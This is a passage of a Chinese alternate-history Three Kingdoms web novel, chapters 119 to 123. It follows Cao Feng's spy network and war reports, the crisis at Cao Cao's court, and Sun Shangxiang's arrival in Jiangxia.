高览望着远处高耸的城墙,眉头紧锁:“下邳城高,又坚固的很。强攻恐怕伤亡太大。军师可有妙计?” 徐庶从怀中取出一块绢布,展开后竟是一张精细的城防图。他沉声道:“原本打算用水攻。不过公子派人连夜送来了这张图纸。你们看——” 徐庶指着图上一条隐蔽的线路:“这是条暗道,可以直接通往城内。只要我们派精锐从此处潜入,里应外合,必能一举拿下下邳!” 高览仔细查看地图后,脸上终于露出笑容:“公子果然神机妙算!传令下去,全军休整,今夜子时,攻城!” ………… 自董卓乱政以来,西凉铁骑的凶名便传遍天下。那些腰挎凉刀的凉州汉子,在百姓口中是比黄巾贼更可怕的存在。尤其是受害最深的洛阳百姓。 烧杀掳掠、无恶不作,他们所过之处十室九空。就连三岁孩童听到“西凉兵”三个字,都会吓得止住哭声。 而如今洛阳城中的百姓发现,凉州军队似乎变了模样。 过多天的整顿,洛阳城已不见战火痕迹。街市重新热闹起来,百姓们好奇地打量着巡逻的凉州士兵。 经过三天的整顿,洛阳城已不见战火痕迹。 街市重新热闹起来,百姓们好奇地打量着巡逻的凉州士兵。 这些西凉汉子个个身材魁梧,虽然长相凶悍,但对百姓却很有礼貌更不会扰民。 更令人称奇的是,城中的治安竟比曹操统治洛阳的时期还要井然有序。往日横行街市的泼皮无赖都销声匿迹。 大家都清楚,能有这样的变化,多亏了那位年轻公子——曹风。 曹府书房内。 曹风正在批阅各地送来的军报。 他将几份不太紧急的文书抽出,递给身后的邓艾:“士载,这些交给你处理。” “诺。”邓艾躬身接过文书。正要退出时,房门突然被撞开,曹冲慌慌张张冲了进来,两人险些撞个满怀。 “对不住,士载!”曹冲连忙帮邓艾捡起散落的文书,匆匆拍了拍他的肩膀,便扑到曹风案前哀嚎:“三哥救命!带孩子比处理政务难多了!” 对这一幕,曹风已经习以为常了。曹风麾下所有官员都很忙,曹婴只好逮着曹冲不放。 曹风笑着摇了摇头,嘴中念着,“三……二……一!” 他话音刚落,便见曹婴追了进来。她一把揪住曹冲的衣袖:"小叔说话不算话!说好要陪我耍枪的!” 曹冲苦着脸讨饶:“暖暖啊,小叔是文官,细胳膊细腿的,哪经得起你折腾?你去找周不疑,那小子抗揍……” 曹冲虽然聪慧过人,却对这个古灵精怪的晚辈曹婴毫无办法。既忍不住宠着她,又时常被她闹得头疼。 “谁说文官就不习武了?”曹婴撅着小嘴,杏眼圆睁。 “大丈夫在世,当文武双全!” 曹风笑着把曹婴拉到身边:“暖暖,先陪三叔坐会儿。你渊叔祖呢?怎么没陪你演武?” 趁这空档,曹冲一溜烟逃出了书房。 曹婴气鼓鼓地哼了一声,小脸垮了下来:“那个叫曹彰的怪人又闹着要抹脖子呢,叔祖得看着他……” 曹风用袖子轻轻拭去她额头的汗珠:“那就在这儿陪三叔看文书。等忙完了,带你去城外找你云禄叔母。” 听到马云禄的名字,曹婴眼睛一亮。除了曹风和甄宓,她最亲近的就是这位英姿飒爽的叔母了。 张嫣虽然和曹婴相处日久,但身上仙气愈浓,总让人感觉难以亲近。 “好!”小姑娘乖乖挨着曹风坐下。 或许是玩累了,她不一会儿就贴着曹风,拍在桌案上睡着了。 曹风轻轻为曹婴披上锦被,继续翻阅手中的军报。 书房另一侧,郭嘉懒洋洋地倚在榻上,手里兵书倒拿着,眼睛却直勾勾盯着曹风腰间的酒葫芦。 半个时辰过去后,甄何轻手轻脚地进来,欲言又止地看着曹风。 “何事?”曹风问道。 甄何淡淡扫了郭嘉一眼,没有作声。关于曹风的情报机构,世上可以知道内情的人寥寥无几。 “但说无妨,奉孝不是外人。” 甄何抱拳道:“禀公子,【魅】已到府外,是否传见?” “时间过得真快,我与她也一年未见了。”曹风放下手中毛笔,笑着道,“让她进来吧。” 第119章 貂蝉的出现,险些让郭嘉破防 魅?! 这个名字听起来,就像某个情报组织成员的代号。 郭嘉原本懒散地靠在榻背上,半闭着眼睛,似乎随时都会睡着。 但一听到“魅”这个字,他的眼皮猛地抬起,整个人瞬间精神起来。 他悄悄竖起耳朵,避免自己错过任何细节。 郭嘉这些举动完全是出于职业习惯,毕竟他以前是干探子这一行的,还是行业精英,对打听消息这种事特别热衷。 作为曾经替曹操掌管校事府的人,郭嘉对情报行当再熟悉不过了。而曹风麾下这个神秘的组织,让他产生了极大的兴趣。 与此同时,他的思绪不由自主地飘回多年前。 那时候,校事府和一个神秘组织斗得不可开交。对方行事诡秘难测,几次三番让校事府吃了大亏。 最让郭嘉耿耿于怀的是,第一次与其交手,校事府就栽了个大跟头。 对曹操来说很重的两个人——貂蝉和吕玲绮,就是被那个组织抢先一步带走的,至今下落不明。 想到这里,郭嘉的眼神骤然锐利起来,目光紧紧锁住门口,心中充满好奇。 曾经的他根本没在意过这个连曹操都不看好的三儿子曹风。可自从昏迷中醒来,跟在曹风身边的这段时间里,接二连三的事情让他震惊不已。 他心底突然冒出一个荒谬的念头:当年那个神秘组织,会不会和曹风有什么关联? 不多时,一名身姿窈窕的女子缓步走入。她脸上蒙着一层轻纱,虽看不清真容。但举手投足间都带着勾人的魅力,轻易就能让男人神魂颠倒。 郭嘉不禁暗想:“【魅】这个代号还真是恰当,当真是魅惑众生。” 【魅】微微屈膝,向曹风行了一礼,声音轻柔悦耳。 “妾身‘魅’,拜见公子。” 她的声音很轻,显然是注意到曹婴正在睡觉,刻意压低了嗓音。 作为曹风麾下的情报首领,她比谁都清楚曹婴在曹风心中的地位——那可是捧在手心怕摔了,含在嘴里怕化了的宝贝疙瘩。 同时,她对这个同样命途多舛的姑娘,也打心底里感到心疼。 “坐吧。”曹风指了指身前的空位,笑着道,“把面纱摘了吧,戴着多闷得慌。这儿又没外人。” 魅微微颔首,白皙的双手轻抬,缓缓解开面纱。 随着轻纱滑落,一张倾国倾城的绝美容颜,就这样毫无保留地呈现在众人眼前。 郭嘉猛地坐直了身子,手中的兵书“啪”的一声掉在地上。他瞪大了眼睛,难以置信地惊呼:“貂蝉?!” 他无论如何都没想到,自己曾经苦苦追寻的貂蝉,如今竟成了曹风麾下的“魅”! 这么说…… 郭嘉猛地转头看向曹风,眼中满是震惊。 即便他自诩聪慧过人、神机妙算,也万万没想到,当年那个让校事府屡屡受挫的神秘组织,还真就是曹风的手笔! “貂蝉已经死了。”魅淡淡地看了郭嘉一眼,语气平静地纠正道,“我是魅。” 随后,她又对郭嘉说道:“郭大人的校事府,确实都是情报精英。若非公子多次提点,我恐怕早已吃了大亏。” “不过……”一个慵懒的声音忽然插了进来,“这些精英现在都已经死了。我亲手杀了十二人。” 郭嘉一愣,连忙循声望去。 只见房间角落里,一个抱着剑的男人正懒洋洋地靠在墙边,似乎刚刚睡醒。 郭嘉刚才的注意力全在貂蝉身上,竟没注意到这个人的存在。 “什么?!校事府的精英全死了?”郭嘉对这个消息,震惊不已。 那可是他耗费无数心血组建的精锐团队,其中不乏武艺高强之人。没想到,竟被眼前这个男人给团灭了! “没了郭大人坐镇,校事府那群人就是一盘散沙。再加上中了公子的计策,被围剿也是理所当然的事。” 史阿耸了耸肩,语气平淡,仿佛在谈论一件微不足道的小事。 郭嘉沉默片刻,最终还是叹了口气,释然地摇了摇头。 如今的他早已不是曹操麾下那个最受器重的军师祭酒,校事府的存亡,自然也与他无关了。 不过,他还是忍不住问道:“你又是何人?” “他是‘魑右’,负责刺杀的【魑】组成员。”曹风替史阿解释道。 曹风有意将自己的情报组织核心成员依次介绍给郭嘉。毕竟,他计划在除掉曹操后,将这个组织交由郭嘉管理。 几人的谈话声吵醒了曹婴。 她揉了揉惺忪的睡眼,迷迷糊糊地环顾四周。 当看到史阿抱着剑站在一旁时,她瞬间精神一振,立刻拽着曹风的袖子,兴奋地喊道:“三叔!这个剑客是谁?看起来好厉害的样子!让他教我剑法好不好?” 她话音刚落,史阿的身影便如鬼魅般消失在原地。他可没兴趣陪小孩子玩。 曹婴顿时撅起了嘴,满脸不高兴。 魅见状,微微一笑,拿出带来的一个精致木匣,递到曹婴面前,柔声道:“暖暖,这是送你的见面礼。听说你喜欢兵器,要不要打开看看?” 曹婴眼中闪过一丝渴望,但还是先抬头看向曹风,用眼神征询他的意见。 见曹风点头,同意了,她这才欢天喜地地接过木匣,甜甜地说道。“谢谢叔母!” 这一声“叔母”,叫得魅心中一阵柔软,看向曹婴的眼神更加温柔了。“暖暖,以后若是还想要什么稀世兵器,尽管告诉叔母,我一定帮你找来。” 曹婴迫不及待地打开木匣,郭嘉也忍不住好奇地瞥了一眼。 然而,就是这一眼,让他瞬间瞪大了眼睛,失声惊呼。 “七星宝刀?!” 七星宝刀原本属于司徒王允珍藏的宝物。当年曹操曾借它行刺董卓,可惜被吕布察觉,刺杀失败。曹操急中生智,谎称是献刀,随后仓皇逃离。 这把从此刀落入董卓之手。董卓死后,又被李傕所得。李傕败亡后,七星宝刀便不知所踪。 曹操曾多次嘱咐郭嘉,务必让校事府找到这把刀。然而郭嘉费尽心思,始终未能寻得它的下落。 如今,这把刀竟出现在魅的手中! 郭嘉苦笑一声,心中无奈。 看来这一次。 他郭奉孝和他的校事府,又输给了【魅】。 第120章 郭嘉:怎么个事儿?你说孙策没死? 魅和曹风在书房里聊了很久。 她注意到桌案上堆积如山的军报文书,几乎占据了整个桌面的三分之二。 魅太了解曹风的性格了——这人一旦开始处理公务,就会彻底忘记时间。如果自己继续在这儿耽搁他,只怕他又要熬到天亮才肯休息。 魅轻声叹了口气,指着那些军报,“公子,你啊,总是这样不顾惜自己的身体。就像当年用手硬抓我的剑刃一样。” 她又深深看了曹风一眼,目光里满是舍不得离开。两人这些年,聚少离多。 曾经那个青涩的少年,如今眉宇间尽是沉稳。 魅转头看向身旁的曹婴,小姑娘正开心地摆弄着七星宝刀,根本不理会刚刚在交谈的两人。 她担心曹婴会让曹风分心,耽误军务处理,又要熬到天亮。 魅温柔地拉起曹婴的小手,“暖暖,我也精通剑术哦,而且我的剑法最适合女孩子学了。” 魅又故意压低声音,像是要分享什么秘密似的,“不仅厉害,还很好看呢。” 女孩子都喜欢好看的。 果然,曹婴的眼睛立刻亮了起来。 她紧紧握住手中的七情宝刀,生怕它跑掉似的。 “嗯嗯!暖暖要跟叔母学!”小姑娘的声音中,满是开心。 临走前,曹婴突然想起什么。她转身对曹风喊道:“三叔,别忘了答应我的事情!” 清脆悦耳的声音,在安静的房间里格外响亮。 曹风看着侄女期待的眼神,不由得露出温和的笑容。 他拍了拍桌上堆积如山的竹简,发出沉闷的响声。 “三叔不会忘。等批完这些军报,就带你出城去找你云禄叔母。”曹风声音里带着宠溺,却又透着一丝疲惫。 郭嘉一直靠在窗边的软榻上,闭着眼睛像是在养神,一副没在听曹风和魅谈话的样子。 可实际上,他们的每句话,郭嘉都竖着耳朵,听得一清二楚。 当魅带着曹婴离开时,他的目光不由自主地追随着貂蝉离去的背影。让他想起了另一个失踪人口——吕玲绮。 “吕玲绮该不会也被曹风救走了吧?”这个念头突然出现在郭嘉的脑海中。 起初他觉得这事儿太荒唐,可见到貂蝉后,反倒觉得真有可能。 想到这里,郭嘉不由得心中苦笑:“如果真是这样,那吕布这颗棋子就彻底废了。” 他在心里盘算着,“希望明公别出昏招,否则一定会遭到吕布这颗棋子反噬。” 郭嘉起身,几次都要开口向曹风询问吕玲绮的下落。可话到嘴边,却又硬生生咽了回去。 他想起自己之前的立场声明:绝不会参与曹氏家族的内斗。这个原则,他必须坚守。 “若是此刻开口询问,就必须付出相应的代价。”郭嘉在心里提醒自己。 这个代价很可能是要帮助曹风对付曹操,至少也得用同等价值的情报来交换,比如曹操暗中拉拢吕布的计划。 郭嘉悄悄瞄了眼曹风专注工作的侧脸,心里突然警醒起来。 这个年轻人远没有看上去那么简单。一旦自己松口询问这件事,恐怕就很难抽身了。 虽说曹风不会对我下狠手,可他身边那些谋士…… 郭嘉的思绪转到李儒、贾诩和程昱身上,不由得打了个寒颤。 这三个家伙,一个比一个阴险,一个比一个毒辣。 想到这里,郭嘉甚至开始怀疑,今天让他见到貂蝉,本身就是这三个家伙设下的一个局。目的就是要引他上钩,主动询问吕玲绮的事情。 “罢了,罢了……”郭嘉摇了摇头,重新躺回软榻上,顺手拿起一旁的兵书盖在脸上。 竹简的凉意让他发热的头脑稍微清醒了些。 “难得清净……难得清净……” “静心养神、养身,身体养好就能喝酒了……” 书房里重归安静,只有曹风翻阅竹简的声音。 他正专注地看着一份来自前线的军报,嘴角不自觉地扬起一抹笑意。 “不愧是伯符兄,真能打!只给了他三千骑兵,这是干到哪儿去了?”曹风轻声自语,随后手指在一张地图上缓缓移动,追踪着孙策部队的行军路线。 “什么?孙策还活着?!” 原本闭目养神的郭嘉猛地坐起身来。 脸上的兵书“啪”的一声掉在地上。 他瞪大眼睛,难以置信地看着曹风,连声音都提高了几分。 对于郭嘉的震惊,曹风并不意外。 事实上,就连他自己也没想到真能把孙策从鬼门关拉回来。 想到这里,曹风不由得对华佗的医术又多了几分敬佩。这个老头子还真有起死回生的本事。 为了不让这样珍贵的医术失传,曹风已经安排华佗广收门徒,并将毕生所学编纂成书。弥补他前世常感叹的“老祖宗的东西失传了”的遗憾。 当然,孙策能活下来,李儒也出了力。华佗用的一个秘方,就是他给的。 不过李儒这个毒王出手,从来都是利弊参半。孙策是救活了,但也留下了后遗症。 “伯符兄是活着,但也算是死了。”曹风头也不抬地说道,“不过……没死透。最近他那些该死的记忆好像开始复苏了。” 随军报一起送来的,还有孙策的一封亲笔信。 孙策的字迹依旧潇洒不羁,却比往日多了几分沉稳。 “曹脩兄,亲启。” “军情要事,不在信中赘述。近日梦中,我常遇见一位宽袍大袖、头戴纶巾的翩翩君子,唤我为兄长。醒来后,依稀记得他姓周,却不知其名。” 读到此处,曹风微微一顿。 他知道孙策说的是谁。 那个曾经和孙策亲如兄弟,却英年早逝、遗憾而终的周公瑾! 曹风所知道的周瑜,并非《三国演义》里那个心胸狭窄、嫉贤妒能的大都督。 实际上,他胸襟开阔,气度非凡。 曹风摇摇头,继续往下读。 “策失忆后,本已不再挂念前尘往事,唯独这位唤我兄长之人,始终无法释怀。每每梦醒,总是泪流满面。” “请曹脩兄帮我找到此人,万分感激!” 信纸上的字迹在这里有些模糊,似乎是被泪水晕染过。 曹风轻轻叹了口气,将信仔细折好,放进一个精致的紫檀木匣中。 曹风这才抬起头,看向仍然一脸震惊的郭嘉。 “奉孝,你是不是很好奇伯符为什么没死?你要是想知道,就问吧。” 见郭嘉没有立即回应,曹风又故意逗他:“你想知道的话,就得开口啊,不然我怎么知道你想知道呢?” “你虽然一脸期待地看着我,但你不说,我怎么确定你真想知道?” “你真的想知道吗?想问就问吧!你该不会其实不想问吧?难道你真的想问?” 第121章 曹操昏迷,夏侯惇接盘,荀彧想拉孙刘入局 在曹风车轱辘话的“折磨”下,郭嘉的脸色变来变去。 他一会儿好奇的想张口询问,一会儿又犹豫的闭上了嘴巴。 郭嘉心中有两个小人儿,正在进行一场激烈辩论赛。 最终,他还是深吸一口气,像是下定了某种决心,重新躺回软榻上,闭上了眼睛。 只是那微微颤抖的眼皮,和不时抽动的嘴角,出卖了他内心的不平静。 书房里再次安静下来。 曹风摇摇头,心想:“这家伙要是能把这份隐忍的劲头用在戒酒和不吃仙丹上,也不至于变成个病秧子。” 将目光从郭嘉身上收回,继续埋首于堆积如山的军报之中。 这些军报来自各个战场,包括那些没有硝烟的谍战。 上庸方面的战况最为胶着。 荀攸虽然智计百出,谋略过人,但被困在守城战中,就像被束缚住手脚,完全发挥不出他应有的优势。 而徐荣则采纳了沮授和田丰的计策,成功反制了曹仁的坚壁清野战术,以巧妙的策略挫败了敌军的锐气。 这两人采取了对上庸城围而不攻的策略。 先是攻占了房陵港这个战略要地,切断了曹仁从襄阳方向运输粮草的通道。 接着,又联络文聘。让他又佯攻新野,实则绕路而行,出其不意地占领了博望。这一连串的军事行动,彻底掐断了上庸城在北方的粮道。 而徐荣自己这一边,则有张鲁从汉中源源不断运送来的粮草支援。 汉中的粮仓储备充足,运输路线畅通无阻,完全保障了大军的后勤供给。 这彻底将曹仁逼入了断粮的绝境。 荀攸智谋再厉害,也不能凭空变出粮草来。 他曾多次试图引诱徐荣主动攻城,想要借机设下埋伏。但徐荣不是当年骄傲自大的袁绍,他十分听从田丰和沮授的劝告,就是不中计。 正如沮授对徐荣说的那样,胜利已经是板上钉钉的事,将军完全不必急躁冒进。 曹风提笔蘸墨,在这份军报上做了批注:“田丰、沮授之策,深得我心。不急不躁,且看曹仁如何应对。大荣,闲来无事时,多给曹操写几分信。让他见识一下你的毒嘴。” 徐荣真是年纪越大,嘴巴越毒。 曹风甚至怀疑,徐荣舔一下嘴唇,说不定能把他自己都给毒死。 另一份捷报是来自高览的。 他已经通过暗道,成功攻占了下邳城这座战略要地,并且说服了张郃归降。 高览在军报中详细询问曹风该如何安置张郃,以及下一步应该优先攻占哪座城池。这个问题很重要,关系到整个东线战场的战略布局。 曹风沉思片刻,在这份军报上写下批注: “张郃可为将军副将,此人佣兵巧变,可用。至于接下来的攻略方向,将军可从徐元直谋划。我们相距甚远,我无暇及时支援你们。 切记,稳扎稳打,不可贪功冒进。 风不在乎一城一地得失,只盼将军珍重自身。” 写到这里,他停顿了一下,又补充道:“孙权明年可能会进攻合肥,将军要多加留意。战场形势变化很快,将军可以自己把握时机行动,不必事事都来请示我。” 言语间,曹风给予了高览最大的信任。 南边战线,张绣也送来了紧急军报。 从字里行间能明显看出他有些焦虑不安。 曹风能理解张绣的心情。 毕竟他现在距离曹操的大本营最近,承受的压力最大。 而且他现在做的事情,也确实让曹操很难受——他正在不断袭扰曹操的后方,就像一把尖刀抵在曹操的背上。 曹风提笔写下回复: “师侄能助我,师叔很欣慰。你的老朋友正在赶去南皮的路上,有他在,可保你无忧。” 写完后,他轻轻吹干墨迹。贾诩保命的手段,还是值得信任的。 …… 当曹风放下手中笔墨的时候,窗外的天色已经渐渐亮了起来。 他揉了揉酸痛的肩膀,发现一旁的郭嘉还在呼呼大睡,只是睡姿不太优雅,时不时还会打鼾。 曹风轻手轻脚地站起身,伸了个大大的懒腰,然后推开书房的门走了出去。 外面下着大雪,天地间白茫茫一片,让人看着就心情舒畅。 唯一美中不足的是,这雪景让曹风想起了那个改变一切的夜晚——他跪在曹操书房外的那一晚。 所有人的命运,都是从那一刻开始改变的。 曹风望着白茫茫的雪地,轻声自言自语:“曹操,你看到天幕上那些关于我的画面,不知道会怎么想?” 也不知道这天幕是不是穿越者标配的系统。要是它能让曹操在悔恨和愤怒中直接嘎了,那倒省事了。 曹风停顿了一下,又继续说道:“奸雄又如何?说到根本,你还是个人,有血有肉的人。” 年关将近,可以暂时止戈休战了。 曹风打算趁这个机会回一趟凉州,好好陪陪家人。 自从起兵以来,他已经很久没有见过舅舅和甄宓等亲人了。 也好久没去拜祭他的娘亲和大哥了。 想到这里,他的眼神才难得变得柔和起来。 但很快又恢复了坚定。 曹风他知道,等到年后,攻破虎牢关,便是与曹操决战的时候了。 此时的邺城,曹操仍在昏迷中。 原本接近年关,繁华喧嚣的铜雀台也变得冷冷清清。 夏侯惇已经快马加鞭赶了回来,此刻正拉着张仲景焦急地询问:“张医官,丞相情况如何?你和我说实话。” 张仲景摇摇头,叹息道:“我已经竭尽全力了。丞相的头疾多次发作,情况很不乐观。如果七天后还不醒来,恐怕就只能听天由命了。” 他的语气沉重,眼神中透着无奈。 夏侯惇眉头紧锁,挥手让人带张仲景下去休息。 如今曹操昏迷不醒,只有他这个最受信任的族弟有资格主持大局。 这一刻,他才真正体会到作为决策者有多么艰难,每一个决定都关系到无数人的生死,还有曹家的未来。 荀彧面色凝重地走进来,沉声说道:“夏侯将军,我军现在四面受敌,形势危急。丞相又在昏迷中,只有你能主持大局。请将军早做决断。” 夏侯惇苦笑着摇头,他没有曹操那样的战略眼光,只能虚心请教:“文若可有良策可教我?” 荀彧显然已经深思熟虑过,立即说道:“固守河北,驱虎吞狼!” “把刘备和孙权也拉进来,一起对付曹风。不能他们只看热闹,却不出力。将军可书信与孙刘,试探能否暂时结盟共同对抗曹风!” “另外,前天收到军报。上庸的粮草即将耗尽,已经守不住了。应该命令曹仁将军撤回陈留。” 第122章 荀彧:襄阳为饵,驱虎吞狼 夏侯惇皱着眉头问道:“子孝要撤回陈留?那谁来镇守襄阳?” 荀彧脸上露出不甘心的神色,缓缓说道:“想要引诱孙权和刘备入局,就必须放下诱饵。这襄阳城,就是我们能提供的诱饵!” 夏侯惇听完大吃一惊,声音都提高了许多:“放弃襄阳?那整个荆州不就全丢了吗?丞相费尽心血才打下的荆州,就这样白白送给别人?” 荀彧叹了口气,耐心地解释道:“现在曹风势力太大,如果上庸和新野失守,被其占领。襄阳就会变成一座孤城,即便是擅长守城的曹仁将军,也守不住的。” 荀彧顿了顿,“不如让刘备、孙权和曹风去争夺襄阳,让他们三方互相消耗。” “谁能想到曹风这些年暗中发展势力,实力竟然变得这么强大。如果不把刘备和孙权拖下水,我们很难扭转现在的局面。” “这样一来,就算最坏的情况发生,也不过是和曹风再打一场官渡之战那样的决战。” 夏侯惇重重地叹了口气,语气沉重地说:“看来也只能这样了。曹风这个混蛋,居然害死了妙才。那可是他的叔父啊!” “我发誓一定要亲手杀了曹风,为妙才报仇!” 荀彧沉默了一会儿,转头看了看仍然昏迷不醒的曹操,然后默默地转身向外走去。 他的背影看起来格外孤单落寞。 屋外已经开始下起鹅毛大雪。 马上就要过年了。 荀彧站在走廊下,望着漫天飞舞的雪花,心里充满对未来的忧虑。 他知道,明年天下一定会大乱。 虽然这些年战事不断,但他辅佐曹操南征北战,已经取得了很大成果,天下的格局基本稳定下来。 可是曹风突然起兵造反,就像一个看棋的人突然发疯,把整个棋盘都掀翻了。 原本已经稳定的局面,现在完全被打乱了。 荀彧伸出手接住几片雪花,看着它们在掌心慢慢融化,心里充满迷茫。 “大汉王朝,还能经受住几个这样的寒冬呢?” 这个曾经忠心耿耿的汉室老臣,此刻感到前所未有的无力。汉朝的衰败,似乎已经无法挽回了。 随着曹操昏迷,那个神秘的天幕也消失了。 在东吴的建邺城,原本聚集在议事厅热烈讨论的众人也都各自散去。 这里没有北方那样的漫天飞雪。 天上飘着的,是孙权不断膨胀的野心和欲望。 这位东吴的统治者,已经完全飘了! 快到年关时,孙权兴冲冲地来到养母吴国太的府邸,想商量今年要如何举办一场盛大的年会,为他明年亲征提前庆祝胜利。 可是孙权刚进府门,就看见吴国太在院子里焦急地走来走去。 孙权笑着道:“母亲为什么这么着急?” 吴国太这才发现孙权来了。她满脸担忧地说:“仲谋,你看见你小妹了吗?” 孙权连忙上前,扶着吴国太进屋坐下。 孙权的语气带着埋怨:“估计又偷偷跑出去打猎了。都是大哥在世时把她惯坏了。谁家的姑娘整天舞刀弄枪的?一点大家闺秀的样子都没有。我让她学女红……” 吴国太忧心忡忡打断孙权:“以前她出城打猎,第二天就会回来。可这次已经好几天不见人影了。” “我派人到处找,就是找不到。” “仲谋,你再派些得力的人去找找吧。” “我听说曹家内斗,现在到处都在打仗。这丫头不会遇到什么危险吧?”吴国太的声音都在发抖。几个孩子中,她最疼爱的就是孙尚香。 孙权还是不以为意:“娘,您就放心吧,能有什么事?小妹武功‘高强'',一般人根本不是她的对手。” 突然,孙权话锋一转,装作不经意地问道:“对了,娘,我爹留下的那把古锭刀放在哪儿了?” 孙权早就计划好了,明年亲征时要带着这把象征孙家权威的宝刀。 这样不仅能显示自己的威严,更重要的是能震慑那些跟随过孙坚和孙策的老将们。这些老将表面上服从他,实际上心里还是更怀念他的父兄。 吴国太听了,深深地叹了口气:“已经不见了。应该是被你妹妹带走了。所以我才觉得她不是出城打猎,而是出远门了。” “前几天,我听见这丫头嘀咕,说要去寻找什么真正的大英雄。” “什么?!”孙权先是一惊,随即勃然大怒,“孙尚香这个混蛋,简直是胡闹!” “那把刀是父亲留下的传家宝,她怎么能随便带走?我这就派人去把她抓回来!” 看着孙权急匆匆离开的背影,吴国太皱着眉头,轻声叹息道:“你到底是着急找妹妹,还是着急找那把刀啊?” 她的眼中闪过一丝失望和担忧。自从伯符去世后,这个家就快要散了。 他们正在寻找的孙尚香,此时已经到了江夏。 新上任的江夏太守凌统,正在亲自训练水军。 前几天他收到了曹风的亲笔信,信中说孙权将在年后攻打合肥。 曹风命令凌统做好准备,一旦孙权战败,立即切断他的退路。孙权如果要逃回江东,一定会走水路。如果能活捉孙权,就是大功一件。 凌统收到信后,日夜加紧训练水军。 他不仅要抓住孙权,更要为父亲报仇。 他断定孙权这次出征,一定会带上他的杀父仇人——甘宁。 站在一旁的李儒望着江面上整齐排列的战船,虽然不懂水战,也能看出其中的门道。 “凌将军不愧是公子看中的水军都督。”李儒真心实意地称赞道。 李儒也不得不佩服曹风看人的眼光。 不仅是凌统,曹风把手下所有的文臣武将,都安排在了最适合的位置上。 凌统笑着摆摆手:“军师太抬举我了。还要感谢公子给我机会,往后也要仰仗军师出谋划策。” 李儒点了点头:“纪灵将军的援军也快到了。一定要让孙权有来无回!” 在凌统的视线中,远处突然有一个苗条的身影,一闪而过。 凌统微微皱眉,这个身影好熟悉。难道是她? 凌统随即摇了摇头,那位孙家大小姐,怎么可能会出现在江夏。 他定了定神,继续指挥水军训练。 第123章 大小姐驾到! 直到天色完全暗下来,凌统才风尘仆仆地回到自己的府邸。 揉了揉酸痛的肩膀,今天在水军大营操练了一整天,他此刻只想好好休息。却偏偏事与愿违。 刚推开书房的门,突然一道凌厉的寒光从暗处袭来,直取他的咽喉要害。 凌统心头一紧,本能地侧身闪避。 但这一击来得实在太过突然,他只能就势在地上打了个滚,样子颇为狼狈。 那道寒光如影随形,紧追不舍。 凌统趁机一个鲤鱼打挺,右手迅速拔出腰间的佩刀横在胸前。 “咔嚓”一声脆响。 凌统震惊地发现手中的凉刀竟然出现了明显的裂痕。 这把做工精良的凉刀来自西凉,是曹风麾下所有将领的标准配备,更是身份的象征。 凌统清楚地记得,当初得到这把刀时,他特意测试过其锋利程度和坚韧度。此刀不知是用什么特殊材料打造的,比普通刀剑要坚固好几倍。可现在竟然一个照面就被对方的兵器损坏了。 借着洒落在院子中的月光,凌统终于看清了对方手中那把泛着幽光的兵器。 他不由得倒吸一口冷气,惊呼道:“古锭刀!” 凌统这才恍然大悟。 传说中削铁如泥的古锭刀,确实是一件世间罕见的神兵利器,难怪自己这把上好的凉刀都抵挡不住。 “咯咯咯!”一阵银铃般的笑声响起。 孙尚香将刀收回鞘中,捂着嘴轻笑道:“天不怕地不怕的凌小鱼,怎么在岸上学起驴打滚了?这要是传出去,东吴的水军兄弟可要嘲笑你了。” 凌统和孙尚香私下里是很好的朋友。 当年在建业时,因为凌统水性特别好,能在水中憋气小半个时辰,孙尚香就给他起了“凌小鱼”这个外号。 当然,这个绰号也只有她敢这么叫。 “大小姐?”凌统惊讶地瞪大眼睛,上下打量着眼前这个英姿飒爽的女子。 “你怎么会在这儿?这可是江夏城,是公子的地盘,不是你们孙家东吴的地界。” “怎么……”孙尚香把刀背在身后,歪着头俏皮地说道:“就许你凌小鱼投靠曹风,不许我来吗?” “啊?!”凌统彻底愣住了,他指了指孙尚香,又指了指自己,结结巴巴地说:“可是你……你,我……这……” “好啦,我知道你要说什么。”孙尚香转身走进书房,随手拿起桌上的茶壶给自己倒了杯水。 “我与你的身份不同。你可以投降,但我不能。就是因为……”她的声音突然低沉下来,“因为我姓孙。” “可是除了这个姓氏,我也是个活生生的人。为什么非要被这些世俗的规矩束缚?再说,父亲和大哥都不在了,我姓什么,已经不重要了。” 凌统嘴角抽了抽。 这位大小姐还是一如既往地任性妄为,想做什么就做什么,完全不顾及后果。 不过转念一想,这确实很符合她的性格。 孙尚香突然用力拍了下桌子,震得桌上的茶杯都跳了起来。 “好你个凌小鱼!大小姐千里迢迢来找你,你就这么招待的吗?” “快给我拿吃的来,我都要饿死了!从中午到现在还没吃过东西呢!” 凌统这才回过神来,连忙朝门外喊道:“来人!快准备些糕点来!” 不一会儿,几个侍女端着丰盛的糕点进来。 孙尚香毫不客气地大快朵颐起来,一边吃还一边翻看桌子上的书籍。 “可以啊凌小鱼……”她嘴里塞满了糕点,含糊不清地说,“你一个整天就知道舞刀弄枪的粗人,居然还看起兵书来了。这太阳是打西边出来了?” 凌统结结巴巴地解释道:"是公子让我多读书的。他说为将者不仅要武艺高强,更要懂兵法谋略。承蒙公子器重,我自然要听公子的话。” 孙尚香眼睛一亮,对曹风的好奇又增加了几分。 她太了解凌统了。 这人最讨厌看书,一看书就头疼,脾气又倔,在建业时连孙权的话都敢顶撞。 可这个曹风却能让凌统乖乖读书,看来确实不简单。 孙尚香随手拿起一本《孙子兵法》,发现书页空白处还有密密麻麻的工整批注,字迹清秀隽永。 她正要细看时,凌统却一个箭步冲上来,把兵书紧紧抱在怀里,那架势好像要了他命一样。 迎着孙尚香疑惑的目光,凌统理直气壮地说:“这是公子亲手赐给我的兵书,上面还有他的亲笔批注。怎么能随便给别人看?” 一听是曹风批注的,孙尚香顿时来了兴趣,眼睛都亮了起来。 “给我看看嘛,就看一下下。你这人怎么这么小气?” 没想到平日里对她百依百顺的凌统这次却异常坚决,表情严肃地摇头:“不行!公子的批注岂能随意示人?” “好吧好吧。”孙尚香撇撇嘴,挥了挥手,“看你那样子,好像要你命似的。不看了不看了。” 凌统这才松了口气,小心翼翼地把兵书放回书架上最隐蔽的位置。 “大小姐,你刚才说要投靠公子?不是在开玩笑吧?” 孙尚香难得地收起玩笑的表情,正色道:“我是认真的啊。曹风现在在哪里?我要立刻去见他。” 凌统有些为难道:“公子的行踪属于最高军事机密,恕我不能告诉大小姐。不过……” 他犹豫了一下,又说道:“我可以给公子去一封书信,询问一下他是否愿意见你。” “行!”孙尚香拍了拍手,将手上的糕点渣子抖落,指着桌案上的笔墨,“那你现在就写。” 凌统点点头,又提醒道:“在公子回信之前,大小姐最好不要在城里乱走。我在城南还有一处僻静的宅院,你先住在那里。” 